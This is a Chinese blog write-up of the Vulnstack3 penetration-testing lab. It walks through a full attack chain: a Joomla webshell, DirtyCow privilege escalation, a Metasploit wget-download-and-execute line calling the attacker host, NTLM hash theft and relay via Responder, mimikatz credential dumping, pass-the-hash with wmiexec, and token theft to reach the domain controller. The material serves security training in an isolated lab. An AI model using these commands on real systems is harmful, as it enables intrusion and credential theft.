前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Vulnstack3

Vulnstack3

作者头像
Naraku
发布2022-02-14 08:52:52
1.5K0
发布2022-02-14 08:52:52
举报
文章被收录于专栏:Naraku的专栏

环境准备

靶场环境:http://vulnstack.qiyuanxuetang.net/vuln/detail/5/ 打开虚拟机镜像为挂起状态,开启后第一时间进行快照,部分服务未做自启,重启后无法自动运行。

开机之前需要先添加一个192.168.93.0/24的桥接网卡作为内部网络:

  • Win:VMware > 编辑 > 虚拟网络编辑器 > 添加网络
  • Mac:VMware > 偏好设置 > 网络 > 解锁后添加,也可以通过命令如下添加:
代码语言:javascript
复制
# 添加网卡
$ sudo vim /Library/Preferences/VMware\ Fusion/networking
answer VNET_2_DHCP yes
answer VNET_2_HOSTONLY_NETMASK 255.255.255.0
answer VNET_2_HOSTONLY_SUBNET 192.168.93.0
answer VNET_2_VIRTUAL_ADAPTER yes

# 配置网络
$ sudo /Applications/VMware\ Fusion.app/Contents/Library/vmnet-cli --configure

# 启动网络服务
$ sudo /Applications/VMware\ Fusion.app/Contents/Library/vmnet-cli --start

# 验证
$ ifconfig

添加完网卡后打开虚拟机会连接到VMnet2网卡(如果没有就手动连一下)。其中Web-Centos为出网机,需要重新获取IP,然后Ping测试一下各主机连通性

代码语言:javascript
复制
# 获取IP
$ service network restart 

# 连通测试
$ ping 192.168.93.10
$ ping 192.168.93.20
$ ping 192.168.93.30

IP

备注

Web-Centos

192.168.111.10/ 192.168.93.100

出网机

Web-Ubuntu

192.168.93.120

Nginx反代

Win2012

192.168.93.10

域控(test.org)

Win2008

192.168.93.20

域用户

Win7

192.168.93.30

域用户

Kali

192.168.111.2

攻击机

外网打点

信息收集

  • 端口扫描一下,发现开启22/80/3306等端口,其中80端口存在Joomla CMS,通过浏览器访问
代码语言:javascript
复制
$ nmap 192.168.111.10 -T4 -A -sV
  • 使用Joomscan进行漏洞扫描
代码语言:javascript
复制
$ joomscan -u <URL>

# 如果没有需要先安装
$ apt install joomscan
  • 未找到可利用的漏洞,但发现一个配置文件configuration.php~,访问得到数据库账号密码
代码语言:javascript
复制
public $dbtype = 'mysqli';
public $host = 'localhost';
public $user = 'testuser';
public $password = 'cvcvgjASD!@';
public $db = 'joomla';
public $dbprefix = 'am2zu_';
public $live_site = '';
public $secret = 'gXN9Wbpk7ef3A4Ys';
  • 使用Navicat尝试连接

添加管理员账号

代码语言:javascript
复制
-- 账号密码为:admin2/secret
INSERT INTO `am2zu_users` (`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`) 
VALUES ('Administrator2', 'admin2', 'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());
        
INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`) 
VALUES (LAST_INSERT_ID(),'8');
  • 然后访问管理员后台:/administrator/,使用admin2/secret进行登录

模板Getshell

  • 后台中依次访问Extensions > Templates > Templates,选择模板进入并点击New File,输入一句话木马后保存
  • 这里选择的模板为Beez3,所以对应的木马路径为:/templates/beez3/a.php。使用蚁剑进行连接,连上后发现无法执行命令

disable_functions

  • 再次新建模板,写入phpinfo进行查看,发现设置了disable_functions
代码语言:javascript
复制
<?php phpinfo(); ?>
  • 可以通过蚁剑的插件绕过disable_functions来绕过,选择LD_PRELOAD模式
代码语言:txt
复制
- 注意:启动的WebServer根目录需要和木马文件所在目录一致
  • 点击开始后会在目标网站生成.antproxy.php/tmp/.ant_x64.so两个文件,使用蚁剑连接.antproxy.php文件,密码和前面木马文件一样,连接后即可执行命令。收集下信息:
代码语言:txt
复制
- 权限为`www`的`Ubuntu`主机,IP为`192.168.93.120`​
  • 通过翻文件发现/tmp/mysql/test.txt
  • 尝试SSH连接
代码语言:javascript
复制
$ ssh wwwuser@192.168.111.10
# wwwuser_123Aqx
  • 通过查看/etc/nginx/nginx.cong文件,可以看到Nginx反代标志proxy_pass,即当前Centos主机对外提供了Nginx反代,该主机上的Nginx将流量转发给Ubuntu主机192.168.93.120,所以前面GetShell的Ubuntu主机才是真正的Web服务器。

权限提升

代码语言:javascript
复制
$ git clone https://github.com/FireFart/dirtycow.git

# 通过scp上传
$ scp ./dirty.c wwwuser@192.168.111.10:/home/wwwuser
  • 在目标机器上编译并执行
代码语言:javascript
复制
$ gcc -pthread dirty.c -o dirty -lcrypt
$ ./dirty <New-Password>
  • 此时会生成一个新用户firefart,密码为设置的密码
代码语言:javascript
复制
$ su firefart

上线MSF

  • 这里用到MSF的web_delivery模块,此模块支持在本地监听一个端口,其他机器一旦访问该端口就会将该端口内的文件读取至本地执行
代码语言:javascript
复制
msf6> use exploit/multi/script/web_delivery
msf6> set target 7
msf6> set payload linux/x64/meterpreter/reverse_tcp
msf6> set lhost 192.168.111.2
msf6> set lport 9999
msf6> exploit 
  • 在目标机器执行
代码语言:javascript
复制
$ wget -qO gHrucc8n --no-check-certificate http://192.168.111.2:8080/zXJRBY; chmod +x gHrucc8n; ./gHrucc8n& disown

路由转发和代理

  • MSF配置路由转发
代码语言:javascript
复制
# Background
$ route add 192.168.93.0 255.255.255.0 1
$ route print
  • MSF配置路由转发只能将msfconsole带进内网,如果使用其它工具,还需要配置Socks代理。MSF6中可使用auxiliary/server/socks_proxy模块(之前是auxiliary/server/socks4a
代码语言:javascript
复制
msf6> use auxiliary/server/socks_proxy 
msf6> set srvport 1080
msf6> set version 4a
msf6> run
  • Kali配置proxychains4。如果使用时出现socks error or timeout,需要检查配置
代码语言:javascript
复制
$ vim /etc/proxychains4.conf

# 最后一行修改为
socks4 127.0.0.1 1080

# 后续就可以通过 proxychains4 <CMD> 执行命令来将程序代理进内网
  • 也可以使用ew工具,Kali和目标机器Centos都是Linux,因此下载ew_for_linux64即可
代码语言:javascript
复制
# 同样使用scp上传ew
$ scp ew_for_linux64 wwwuser@192.168.111.10:/home/wwwuser/

# 分别在两台机器执行
# Kali
$ ./ew_for_linux64 -s rcsocks -l 1080 -e 8888

# Centos
$ ./ew_for_linux64 -s rssocks -d <Kali_IP> -e 8888

# 提示权限不够就加执行权限
# chmod +x ew_for_linux64

内网渗透

信息收集

存活探测
  • UDP探测:auxiliary/scanner/discovery/udp_probe
代码语言:javascript
复制
msf6> use auxiliary/scanner/discovery/udp_probe
msf6> set rhosts 192.168.93.1/24
msf6> run
  • SMB探测:auxiliary/scanner/smb/smb_version
代码语言:javascript
复制
msf6> use auxiliary/scanner/smb/smb_version
msf6> set rhosts 192.168.93.1/24
msf6> run
  • 经过探测,发现目标网段存在TEST域,其中10/20/30三台机器存活,对其进行端口扫描
代码语言:javascript
复制
$ proxychains4 nmap -Pn -sT -sV 192.168.93.10 192.168.93.20 192.168.93.30 -F

横向移动

有几个打法:MSSQL NTLM Stealer、SMB爆破、NTLM Relay。这里使用的是MSSQL NTLM Stealer

  • 前面探测到192.168.93.20这台机开启了1433端口,尝试进行连接。账号密码则使用前面Joomla CMS那个配置文件中收集到的:testuser / cvcvgjASD!@
代码语言:javascript
复制
# apt install freetds-bin
$ proxychains4 tsql -S 192.168.93.20 -U testuser
Responder环境配置
代码语言:javascript
复制
$ scp openssl-1.1.1g.tar.gz wwwuser@192.168.111.10:/home/wwwuser
$ scp Python-3.6.9.tgz wwwuser@192.168.111.10:/home/wwwuser
$ scp -r Responder/ wwwuser@192.168.111.10:/home/wwwuser
# wwwuser_123Aqx

# 安装OpenSSL
$ tar -zxvf openssl-1.1.1g.tar.gz && cd openssl-1.1.1g/
$ ./config --prefix=/usr/local/openssl shared zlib
$ make && make install
$ echo 'export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/usr/local/openssl/lib' >> ~/.bash_profile
$ source ~/.bash_profile

# 安装Python3
$ tar -zxvf Python-3.6.9.tgz && cd Python-3.6.9/
$ ./configure prefix=/usr/local/python3 --with-openssl=/usr/local/openssl
$ make && make install
$ echo '
#配置python
export PYTHON_HOME=/usr/local/python3
export PATH=$PYTHON_HOME/bin:$PATH' >> ~/.bash_profile
$ source ~/.bash_profile

# 测试
$ python3 
>> import ssl
>> import ctypes
# 没有报错即为成功

# 安装依赖
$ pip3 install netifaces six pycryptodome pycryptodomex
Net-NTLM Hash

Net-NTLM Hash并不能直接用来PTH,但有可能通过暴力破解来获取明文密码

  • 运行Responder
代码语言:javascript
复制
$ python3 Responder.py -I eth1 -Pv
  • Kali中使用auxiliary/admin/mssql/mssql_ntlm_stealer,执行xp_dirtree,触发UNC
代码语言:javascript
复制
# testuser / cvcvgjASD!@
msf6> use auxiliary/admin/mssql/mssql_ntlm_stealer
msf6> set RHOSTS 192.168.93.20
msf6> set SMBPROXY 192.168.93.100
msf6> set USERNAME testuser
msf6> set PASSWORD cvcvgjASD!@
msf6> exploit 
  • 利用成功,此时可以看到已经获取到了NTLMv2-Hash
代码语言:javascript
复制
[SMB] NTLMv2-SSP Client   : 192.168.93.20
[SMB] NTLMv2-SSP Username : WIN2008\Administrator
[SMB] NTLMv2-SSP Hash     : Administrator::WIN2008:1122334455667788:C21D87D20B23AE44F82D4B4A41D9491C:010100000000000068E94DEE7E1ED801670BA94B6A3AF3B00000000002000A0073006D006200310032000100140053004500520056004500520032003000300038000400160073006D006200310032002E006C006F00630061006C0003002C0053004500520056004500520032003000300038002E0073006D006200310032002E006C006F00630061006C000500160073006D006200310032002E006C006F00630061006C00080030003000000000000000000000000030000011C4314A8F10C5B6E59317CE9DBBCF8859B4494BEA8E251FCE09E150BA4F27F40000000000000000
  • 可以用Hashcat进行暴力破解,得到密码为:123qwe!ASD
代码语言:javascript
复制
# 查看支持的Mode,这里NTLMv2的Mode为5600
$ hashcat --example-hashes | less

# 暴力破解
$ hashcat -m 5600 hash.txt top1000.txt --force
MultiRelay中继攻击

没爆破出来可以尝试中继Win2008打Win7,发现Win2008的administrator凭据可以中继到Win7,所以可知Win2008和Win7的本地administrator密码相同。参考:https://xz.aliyun.com/t/6988#toc-4

  • 运行前需要编译相关工具,这里我在另一台机器完成并上传
代码语言:javascript
复制
$ apt-get install gcc-mingw-w64-x86-64
$ x86_64-w64-mingw32-gcc ./MultiRelay/bin/Runas.c -o ./MultiRelay/bin/Runas.exe -municode -lwtsapi32 -luserenv
$ x86_64-w64-mingw32-gcc ./MultiRelay/bin/Syssvc.c -o ./MultiRelay/bin/Syssvc.exe -municode
  • 上传到Responder/tools/MultiRelay/bin/目录,同时上传一个mimikatz.exe
代码语言:javascript
复制
$ scp Runas.exe wwwuser@192.168.111.10:/home/wwwuser/Responder/tools/MultiRelay/bin
$ scp Syssvc.exe
wwwuser@192.168.111.10:/home/wwwuser/Responder/tools/MultiRelay/bin
$ scp mimikatz.exe wwwuser@192.168.111.10:/home/wwwuser/Responder/tools/MultiRelay/bin
# wwwuser_123Aqx
  • 中继攻击
代码语言:javascript
复制
# 禁用SMB和HTTP服务,将对应选项修改为Off
$ vi Responder.conf

# 开启监听
$ python3 Responder.py -I eth1 -v -F

# 运行MultiRelay
$ python3 MultiRelay.py -t 192.168.93.30 -u ALL

# MSSQL触发UNC
msf6> exploit
  • 此时已经获取到Win7的Shell了,然后使用mimikatz抓取明文密码。我这里使用mimikatz抓取时一直卡着不动,原因未知。
代码语言:javascript
复制
$ mimi "privilege::debug" 
$ mimi "sekurlsa::logonpasswords"
  • 但是可以通过dump来获得NTLM Hash,存储在Responder/tools/MultiRelay/relay-dumps目录下
代码语言:javascript
复制
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31c1794c5aa8547c87a8bcd0324b8337:::
WMI连接
  • 无论是否获得明文密码,都可以通过impacketwmiexec.py进行连接
代码语言:javascript
复制
# git clone https://github.com/SecureAuthCorp/impacket
# cd impacket/ && python3 -m pip install .

# NTLM Hash
$ proxychains4 python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:31c1794c5aa8547c87a8bcd0324b8337 administrator@192.168.93.20

# 明文密码
$ proxychains4 python3 wmiexec.py 'administrator:123qwe!ASD@192.168.93.20'

攻击域控-0

未知Win2008明文密码,使用NTLM Hash通过WMI连接到Win2008,然后获取正向Shell,通过进程迁移提权后读取文件

  • MSF生成一个正向shell木马,并开启监听
代码语言:javascript
复制
$ msfvenom -p windows/meterpreter/bind_tcp -f exe -o bind.exe

msf6> use exploit/multi/handler 
msf6> set PAYLOAD windows/meterpreter/bind_tcp
msf6> set RHOST 192.168.93.20
msf6> set LPORT 4444   # 前面生成木马时若不指定端口,则默认是这个
msf6> exploit
  • 通过SCP上传到Centos,然后在Centos上开启HTTP服务
代码语言:javascript
复制
$ scp bind.exe wwwuser@192.168.111.10:/home/wwwuser/
# wwwuser_123Aqx

$ python3 -m http.server 8080
  • 通过前面的WMI连接到win2008,下载并执行木马
代码语言:javascript
复制
$ proxychains4 python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:31c1794c5aa8547c87a8bcd0324b8337 administrator@192.168.93.20

$ certutil -urlcache -split -f http://192.168.93.100:8080/bind.exe 
$ bind.exe
  • 上线之后执行ps,发现存在域管用户的进程,进程迁移
代码语言:javascript
复制
meterpreter> ps
meterpreter> migrate 3800
meterpreter> shell
$ whoami
  • 最后读取文件。这里不知道为什么报错The network path was not found.,根据其它参考文章是可以直接读取到的,有点玄学。
代码语言:javascript
复制
$ type \\192.168.93.10\C$\Users\Administrator\Documents\flag.txt
$ type \\192.168.93.10\Admin$\Users\Administrator\Documents\flag.txt

攻击域控-1

已知Win2008明文密码,通过令牌窃取提权后读取文件

  • 定位域控
代码语言:javascript
复制
$ ipconfig /all
代码语言:javascript
复制
$ proxychains4 smbclient -L 192.168.93.20 -U administrator
$ proxychains4 smbclient //192.168.93.20/ADMIN$ -U administrator
$ put incognito.exe
  • 列出令牌
代码语言:javascript
复制
$ cd Windows/
$ incognito.exe list_tokens -u
  • 模拟域管用户,将目标文件复制到本地
代码语言:javascript
复制
$ incognito.exe execute -c "TEST\administrator" "cmd /c copy \\192.168.93.10\C$\users\administrator\Documents\flag.txt C:\Windows\flag.txt"

攻击域控-2

已知Win2008明文密码,使用mimikatz抓取域管密码,然后通过IPC连接域控读取文件

  • 上传mimikatz。使用smbclient连接并上传
代码语言:javascript
复制
$ proxychains4 smbclient -L 192.168.93.20 -U administrator
$ proxychains4 smbclient //192.168.93.20/ADMIN$ -U administrator
$ put mimikatz.exe
  • 获得TEST\administrator密码:zxcASDqw123!
代码语言:javascript
复制
$ cd Windows
$ mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords" "exit" > pwd.log
  • IPC连接域控
代码语言:javascript
复制
$ net use \\192.168.93.10\admin$ zxcASDqw123!! /user:test\administrator
$ dir \\192.168.93.10\C$\users\administrator\Documents\flag.txt

问题

使用Responder工具那部分踩的坑最多,后来发现原生环境Python2.6+Responder旧仓库的2.3.0版本可以运行,但是这个版本没有MultiRelay.py,最后折腾一番安装Python3+lgandx/Responder成功解决。

  • 一开始根据Vlunstack ATT&CK实战系列——红队实战(三)Writeup中的解法二,下载改版过的Responder工具lgandx/Responder的最新版本,Python2下运行需要Python-netifaces库,目标环境的yum有点问题,经换源、rpm离线安装等方式都没有成功;Python3下运行提示缺少ssl库,并且使用pip3安装的时候提示SSLError等等;
  • 后来看到参考文章中使用的是v2.3.4.0版本,于是再次下载并上传。这个版本只支持Python2,但是运行后提示缺少python-sqlite3插件,使用pip安装提示找不到sqlite3库;后根据文章python2.7安装sqlite3模块,进行离线安装sqlite3并重新安装Python2,仍然无效...;
  • 最后在打算放弃的时候,在lgandx/Responder仓库看到forked from SpiderLabs/Responder,于是下载了原作者SpiderLabs/Responder/的最新版本,传上去后成功运行。但是进行下一步中继时发现没有MultiRelay.py,继续折腾;
  • 最后的最后找到Python3版本报错No module named _ssl的原因,即第一点提到的SSLError错误。因为Python3支持OpenSSL版本最低为1.0.2,而该Centos系统比较老,自带的Openssl版本为1.0.1。所以需要安装更高版本的OpenSSL,最终解决。
  • 还有一些零碎的问题没有记录。

参考


版权属于:Naraku

本文链接:https://cloud.tencent.com/developer/article/1942868

本站所有原创文章均采用 知识共享署名-非商业-禁止演绎4.0国际许可证 。如需转载请务必注明出处并保留原文链接,谢谢~

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2022 年 02 月,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 环境准备
  • 外网打点
    • 信息收集
      • 添加管理员账号
        • 模板Getshell
          • disable_functions
            • 权限提升
              • 上线MSF
                • 路由转发和代理
                • 内网渗透
                  • 信息收集
                    • 存活探测
                  • 横向移动
                    • Responder环境配置
                    • Net-NTLM Hash
                    • MultiRelay中继攻击
                    • WMI连接
                  • 攻击域控-0
                    • 攻击域控-1
                      • 攻击域控-2
                      • 问题
                      • 参考
                      相关产品与服务
                      脆弱性检测服务
                      脆弱性检测服务(Vulnerability detection Service,VDS)在理解客户实际需求的情况下,制定符合企业规模的漏洞扫描方案。通过漏洞扫描器对客户指定的计算机系统、网络组件、应用程序进行全面的漏洞检测服务,由腾讯云安全专家对扫描结果进行解读,为您提供专业的漏洞修复建议和指导服务,有效地降低企业资产安全风险。
                      领券
                      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档